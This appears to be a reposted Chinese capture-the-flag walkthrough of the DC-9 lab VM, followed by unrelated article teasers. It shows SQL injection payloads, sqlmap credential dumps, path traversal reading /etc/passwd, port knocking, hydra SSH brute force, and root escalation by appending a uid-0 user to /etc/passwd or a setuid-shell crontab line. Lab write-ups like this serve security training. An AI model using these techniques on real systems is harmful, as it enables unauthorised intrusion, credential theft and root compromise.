DC-9靶机

目录

DC-9靶场链接:

首先进行主机发现:

sqlmap注入:

文件包含:

端口敲门规则:

hydra爆破:

root提权:

方法一/etc/passwd:

​编辑

方法二定时任务crontab:


DC-9靶场链接:

https://download.vulnhub.com/dc/DC-9.zip

下载后解压会有一个DC-9.ova文件,直接在vm虚拟机点击左上角打开-->文件-->选中这个.ova文件就能创建靶场,kali和靶机都调整至NAT模式

首先进行主机发现:

arp-scan -l

得知靶机ip为192.168.183.152

192.168.183.1   00:50:56:c0:00:08       (Unknown)

192.168.183.2   00:50:56:fc:0d:25       (Unknown)

192.168.183.152 00:0c:29:2b:2b:33       (Unknown)

192.168.183.254 00:50:56:fe:ac:e6       (Unknown)

4 packets received by filter, 0 packets dropped by kernel

Ending arp-scan 1.10.0: 256 hosts scanned in 1.853 seconds (138.15 hosts/sec). 4 responded

nmap扫描端口:                           

nmap -sV -p-  192.168.183.152  

开放80端口,22端口处于过滤状态

PORT   STATE    SERVICE VERSION

22/tcp filtered ssh

80/tcp open     http    Apache httpd 2.4.38 ((Debian))

MAC Address: 00:0C:29:2B:2B:33 (VMware)

dirsearch扫文件

dirsearch -u 192.168.183.152 -e * -i 200

Target: http://192.168.183.152/

[12:29:08] Starting:                                       

[12:29:18] 200 -    0B  - /config.php

[12:29:23] 200 -  409B  - /includes/

[12:29:26] 200 -  494B  - /manage.php

打开网页,一开始看到员工信息和登录页面那里,想到Cewl爬取/display.php网页信息做密码字典,把这页的员工名字和邮件名都复制进字典里做用户字典,用hydra爆破,但是hydra拒绝链接(当时还没留意到22的filter。。)

登录框尝试sql注入,

0' union select 1,2,3,4,5,6#		
0' union select 1,2,3,4,5,database()#		//数据库staff

sqlmap注入:

抓包的话能看见虽然登录页面是/search.php,但是包里的路径是/results.php

sqlmap抓数据库:

sqlmap -u "http://192.168.183.152/results.php" --data "search=bettyr" --dbs --dump

得到账户admin和密码transorbital1

Database: Staff

Table: Users

[1 entry]

+--------+--------------------------------------------------+----------+

| UserID | Password                                         | Username |

+--------+--------------------------------------------------+----------+

| 1      | 856f5de590ef37314e7c3bdf6f8a66dc (transorbital1) | admin    |

+--------+--------------------------------------------------+----------+

继续收集别的用户密码:

sqlmap -u "http://192.168.183.152/results.php" --data "search=mary" --dbs --dump

 得到三个库:

[13:04:12] [INFO] fetching database names

available databases [3]:

[*] information_schema

[*] Staff

[*] users

 先看users库的:

sqlmap -u http://192.168.183.152/results.php --data 'search=mary' -D users --tables     

 得到UserDetails表名:

[13:11:10] [INFO] fetching tables for database: 'users'

Database: users

[1 table]

+-------------+

| UserDetails |

+-------------+

查段名:

sqlmap -u http://192.168.183.152/results.php --data 'search=mary' -D users -T UserDetails --colunms

接下来查username和password:

[13:12:12] [INFO] fetching columns for table 'UserDetails' in database 'users'

Database: users

Table: UserDetails

[6 columns]

+-----------+-----------------+

| Column    | Type            |

+-----------+-----------------+

| firstname | varchar(30)     |

| id        | int(6) unsigned |

| lastname  | varchar(30)     |

| password  | varchar(20)     |

| reg_date  | timestamp       |

| username  | varchar(30)     |

+-----------+-----------------+

查看字段:

sqlmap -u http://192.168.183.152/results.php --data 'search=mary' -D users -T UserDetails -C username,password --dump

得到用户名及密码:

Table: UserDetails

[17 entries]

+-----------+---------------+

| username  | password      |

+-----------+---------------+

| marym     | 3kfs86sfd     |

| julied    | 468sfdfsd2    |

| fredf     | 4sfd87sfd1    |

| barneyr   | RocksOff      |

| tomc      | TC&TheBoyz    |

| jerrym    | B8m#48sd      |

| wilmaf    | Pebbles       |

| bettyr    | BamBam01      |

| chandlerb | UrAG0D!       |

| joeyt     | Passw0rd      |

| rachelg   | yN72#dsd      |

| rossg     | ILoveRachel   |

| monicag   | 3248dsds7s    |

| phoebeb   | smellycats    |

| scoots    | YR3BVxxxw87   |

| janitor   | Ilovepeepee   |

| janitor2  | Hawaii-Five-0 |

+-----------+---------------+

文件包含:

先用admin的账户登录上去,看见底下的“File does not exist”

"File does not exist"的错误提示表明所引用的文件不存在。当尝试加载或访问本地文件时,如果文件路径不正确或文件确实不存在,系统会返回此错误。

根据经验参数很可能是file,?file=/etc/passwd没有成功,多加几个../跳转

http://192.168.183.152/manage.php?file=../../../../../etc/passwd

端口敲门规则:

服务器是Apache,试着包含一下配置文件,但是读不了配置文件和日志文件,也就无法和之前一样一句话木马上去。联想到ssh的22端口状态是filtered 的,猜想是被服务器装了 knockd 工具隐藏了。查找 knockd的配置文件:

?file=../../../../etc/knockd.conf

端口敲门规则(Port Knocking)是一种网络安全技术,用于隐藏和保护服务器的开放端口。它是通过在特定的顺序中发送特定的数据包或连接请求来实现的。通常情况下,服务器的开放端口是可以直接访问的,这使得服务器容易受到恶意攻击。而端口敲门规则可以在不公开服务器实际开放端口的情况下,提供一种访问服务器的方法。

具体来说,端口敲门规则工作原理如下:

1、客户端向服务器发送一系列特定的数据包或连接请求,按照预定的顺序进行操作。

2、服务器上设置了一个监控程序,它会监听服务器接收到的数据包或连接请求。

3、当服务器接收到符合预定顺序的特定数据包或连接请求时,它会临时打开相应的端口,允许客户端访问服务器。

4、客户端在获得访问权限后,可以通过打开的端口与服务器进行通信,完成所需的操作。

端口敲门规则的好处在于隐藏了服务器的实际开放端口,增加了服务器的安全性。只有知道正确的敲门序列的客户端才能访问服务器,而其他人无法直接访问服务器的开放端口。

/etc/knockd.conf 文件是 Knockd 服务的配置文件,它用于指定 Knockd 敲门规则,Knockd 是一种端口伪装技术,可以通过在指定的端口序列上发送特殊的数据包来打开一个或多个防火墙规则以允许传入的连接请求通过。

在 /etc/knockd.conf 文件使用INI格式,其中包含以下主要部分:

  1. options:包含全局选项,如日志路径、PID文件路径等。
  2. control:包含Knockd控制服务的配置,如监听的IP地址和端口号等。
  3. sequence:该部分列出了要检查的端口序列,以及每个序列相关的配置,如打开的端口、打开端口的持续时间、使用哪个防火墙规则等。

配置文件的内容大概是(引用他人解释):

[options]

UseSyslog

[openSSH]

sequence = 7469,8475,9842   # 打开ssh 22访问的三个操作端口 ;

seq_timeout = 25

command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT  # //-i 命令是将规则插入到最前面,最先生效,以防止过滤所有端口的情况将此条规则吃掉

tcpflags = syn

[closeSSH]

sequence = 9842,8475,7469   # 关闭ssh 22访问的三个操作端口

seq_timeout = 25

command = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT # //SSH使用完后,再将22端口“保护”起来

tcpflags = syn

也就是说我们依次访问,打开操作的端口 7469、8475、9842 完成“敲门”操作,就可以用ssh登录了

在kali中执行如下命令:

使用7469/8475/9842队列号敲门登录:

nmap -p 7469 192.168.183.152

nmap -p 8475 192.168.183.152

nmap -p 9842 192.168.183.152

或者加快命令的输入速度也可以写个python的 for in 循环来访问,如下:

for x in 7469 8475 9842; do nmap -p $x 192.168.183.152; done

hydra爆破:

现在可以ssh登录了,再次尝试hydra爆破,把刚刚sqlmap搞出来的用户名放一个文件user.txt,密码放一个文件passwd.txt,然后开始爆破

hydra -L user.txt -P passwd.txt ssh://192.168.183.152

用户名:

janitor2

janitor

phoebeb

monicag

rossg

joeyt

chandlerb

fredf

密码:

3kfs86sfd    

468sfdfsd2    

4sfd87sfd1    

RocksOff     

TC&TheBoyz 

B8m#48sd  

Pebbles    

BamBam01   

UrAG0D!   

Passw0rd    

yN72#dsd      

ILoveRachel  

3248dsds7s    

smellycats   

YR3BVxxxw87   

Ilovepeepee

Hawaii-Five-0

得到 login: janitor   password: Ilovepeepee  

远程登录:

ssh janitor@192.168.183.152

janitor用户目录下有隐藏目录.secrets-for-putin里面有隐藏的密码文件,做成字典再次hydra爆破

得到一组新账户:用户:fredf,密码: B4-Tru3-001

登录后sudo -l查看具有root权限的文件,里面躺着一个test,这个路径的向上两级能看到test.py

cat test.py

脚本内容:

#!/usr/bin/python

import sys   #包含sys后 才能用sys.argv

if len (sys.argv) != 3 :   #sys.argv[1] 是文件本身

    print ("Usage: python test.py read append")

    sys.exit (1)

else :

    f = open(sys.argv[1], "r") # r 以只读方式打开文件。文件的指针都放在文件开头。这是默认模式。

    output = (f.read())

    f = open(sys.argv[2], "a") # a 打开一个文件用于追加。如果文件已存在,则文件的指针在文件结尾,若文件不存在,则创建新文件并写入。

    f.write(output) #写入内容

    f.close() # 关闭 

只能往里面传2个参数,2个参数应该都是文件名,把第一个文件的内容以追加方式写进第二个文件里。

root提权:

方法一/etc/passwd:

openssl passwd -1 -salt yonghu 123456

其中,-1 表示使用MD5算法进行加密,-salt yonghu 指定了一个盐值(salt),123456 是要加密的原始密码。执行该命令后,会生成一个经过加密的密码。

echo 'wxy:$1$wxy$LX4Sjq9tXylHPD/rMRRqA1:0:0:root:/bin/bash' > /tmp/se

将包含用户名和加密密码的字符串写入 /tmp/se 文件中。这个字符串中,wxy 是用户名,$1$wxy$LX4Sjq9tXylHPD/rMRRqA1 是经过加密的密码。其他部分是该用户的一些信息,例如用户ID、组ID、根目录和默认shell等。

 ./test /tmp/se /etc/passwd

执行名为 test 的可执行程序,并将 /tmp/se 文件中的账号密码信息写入 /etc/passwd 文件中

命令的目的是对密码进行加密,将用户名和加密密码写入一个临时文件,然后通过执行 test 程序将该临时文件中的账号信息写入系统的用户数据库 /etc/passwd 中,从而实现添加用户的操作。

然后登录该用户即可得到root权限

或者

perl -e 'print crypt("hack", "salt")' #saOlCG7b7vaGw

echo 'A1oe:saOlCG7b7vaGw:0:0::/root:/bin/bash' > /tmp/11.txt
sudo ./test /tmp/11.txt /etc/passwd
su A1oe

password:hack

方法二定时任务crontab:

echo "* * * * * root chmod 4777 /bin/sh" > /tmp/1.txt
/opt/devstuff/dist/test$ sudo ./test /tmp/1.txt /etc/crontab

flag在/root下面

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/268194.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Zookeeper入门

ZooKeeper 是一个开源的分布式协调架,主要用来解决分布式集群中应用系统的一致性问题 本质 分布式的文件存储系统(Zookeeper文件系统监听机制),是一个基于观察者模式设计的分布式服务管理框架 zookeeper的数据结构 Zookeeper的层次模型称作Data Tree,…

Kubectl 部署有状态应用(下)

接上文 《Kubectl 部署有状态应用(上)》创建完StatefulSet后,本文继续介绍StatefulSet 扩展、更新、删除等内容。 StatefulSet 中的 Pod 验证序数索引和稳定的网络身份 StatefulSet 中的 Pod 具有唯一的序数索引和稳定的网络身份。 查看 …

外贸多语言电商系统的运作流程

外贸多语言电商系统的运作流程通常包括以下几个步骤: 1. 网站搭建和设计:首先需要搭建一个多语言电商网站,可以选择现有的电商平台或自行开发。网站设计应考虑不同语言和文化背景的用户需求,包括界面布局、导航结构、语言切换等。…

TLS 1.2详解

TSL由多个协议组成的两层协议集合,工作与应用层和传输层之间。 TLS协议包含两层协议:记录层协议(TLS Record Protocol协议)和 握手协议(TLS Handshake Protocol协议),底层采用可靠传输协议&…

SpringMVC之跨域请求

系列文章目录 提示:这里可以添加系列文章的所有文章的目录,目录需要自己手动添加 SpringMVC之跨域请求 提示:写完文章后,目录可以自动生成,如何生成可参考右边的帮助文档 文章目录 系列文章目录前言一、什么是同源策略…

Report Design

ERP_ENT_STD-CSDN博客

接口测试的持续集成的工具(git代码管理工具,jenkins持续集成)

持续集成的概念:大白话就是持续的做一件事情,使其使用起来更加流畅;结合测试来讲就是说用工具管理好代码的同时,使代码运行的更加自动以及智能;提升测试效率。 ⽹址:https://git-scm.com/downloads 长这个…

CnosDB如何确保多步操作的最终一致性?

背景 在时序数据库中,资源的操作是一个复杂且关键的任务。这些操作通常涉及到多个步骤,每个步骤都可能会失败,导致资源处于不一致的状态。例如,一个用户可能想要在CnosDB集群中删除一个租户,这个操作可能需要删除租户…

网络传输介质简介

通信网络除了包含通信设备本身之外,还包含连接这些设备的传输介质,如同轴电缆、双绞线和光纤等。不同的传输介质具有不同的特性,这些特性直接影响到通信的诸多方面,如线路编码方式、传输速度和传输距离等。 简单网络 两个终端&am…

直排轮滑教程6

直道滑行摆臂练习 1,下面来学练摆臂技术动作。直道滑行摆臂练习。 2,主要有两点作用,第一点,增加蹬地力量。第二点,协助身体平衡。 3,要想摆好臂,首先肩关节放松,摆的就自然了。肘…

mac传输文件到windows

前言 由于mac系统与windows系统文件格式不同,通过U盘进行文件拷贝时,导致无法拷贝。官方解决方案如下,但是描述的比较模糊。看我的操作步骤即可。 https://support.apple.com/zh-cn/guide/mac-help/mchlp1657/12.0/mac/12.6 前提条件 mac与…

MySQL数据库增删改查

常用的数据类型: int:整数类型,无符号的范围【0,2^32-1】,有符号【-2^31,2^31-1】 float:单精度浮点,4字节64位 double:双精度浮点,8字节64位 char:固定长…

AIGC:大语言模型LLM的幻觉问题

引言 在使用ChatGPT或者其他大模型时,我们经常会遇到模型答非所问、知识错误、甚至自相矛盾的问题。 虽然大语言模型(LLMs)在各种下游任务中展示出了卓越的能力,在多个领域有广泛应用,但存在着幻觉的问题&#xff1a…

Qt designer界面和所有组件功能的详细介绍(全!!!)

PyQt5和Qt designer的详细安装教程:https://blog.csdn.net/qq_43811536/article/details/135185233?spm1001.2014.3001.5501 目录 1. 界面介绍2. Widget Box 常用组件2.1 Layouts(布局)2.2 Spacers(间隔器)2.3 Item V…

web架构师编辑器内容-使用html2canvas获取截图,并处理一些问题

html2canvas-api 为了使用html2canvas完成截图的功能&#xff0c;我们首先先使用一个按钮来测试一下html2canvas的截图功能。 首先在页面上创建一个img标签 <img id"test-image" :style"{ width: 300px}"/>创建一个button按钮&#xff0c;添加点击…

Linux:jumpserver V3的安装与升级(在线离线)(2)

官方文档写的非常详细&#xff0c;我这篇文章时间长了&#xff0c;会随着官方版本更新而落后 JumpServer - 开源堡垒机 - 官网https://www.jumpserver.org/安装和升级在官网也有详细的信息&#xff0c;我写本章是为了记录一下实验 我的系统是centos7.9 在线安装 在确定我们可…

JoySSL诚招SSL证书代理

不久前&#xff0c;阿里云宣布了一个让人稍感唏嘘的消息——它们的一年期免费SSL证书服务将停步&#xff0c;转而提供三个月期限的证书。这一变化&#xff0c;无疑会使得网站开发的公司在维持用户信任和网站安全上多出心思。然而&#xff0c;免费的午餐并没有彻底消失&#xff…

七天搞定java接口自动化测试实战,一文搞定...

前言 无论是自动化测试还是自动化部署&#xff0c;撸码肯定少不了&#xff0c;所以下面的基于java语言的接口自动化测试&#xff0c;要想在业务上实现接口自动化&#xff0c;前提是要有一定的java基础。 如果没有java基础&#xff0c;也没关系。这里小编也为大家提供了一套jav…

Tomcat日志乱码了怎么处理?

【前言】 tomacat日志有三个地方&#xff0c;分别是Output(控制台)、Tomcat Localhost Log(tomcat本地日志)、Tomcat Catalina Log。 启动日志和大部分报错日志、普通日志都在output打印;有些错误日志&#xff0c;在Tomcat Localhost Log。 三个日志显示区&#xff0c;都可能…

数学的雨伞下:理解世界的乐趣

这本书没有一个公式&#xff0c;却讲透了数学的本质&#xff01; 《数学的雨伞下&#xff1a;理解世界的乐趣》。一本足以刷新观念的好书&#xff0c;从超市到对数再到相对论&#xff0c;娓娓道来。对于思维空间也给出了一个更容易理解的角度。 作者&#xff1a;米卡埃尔•洛奈…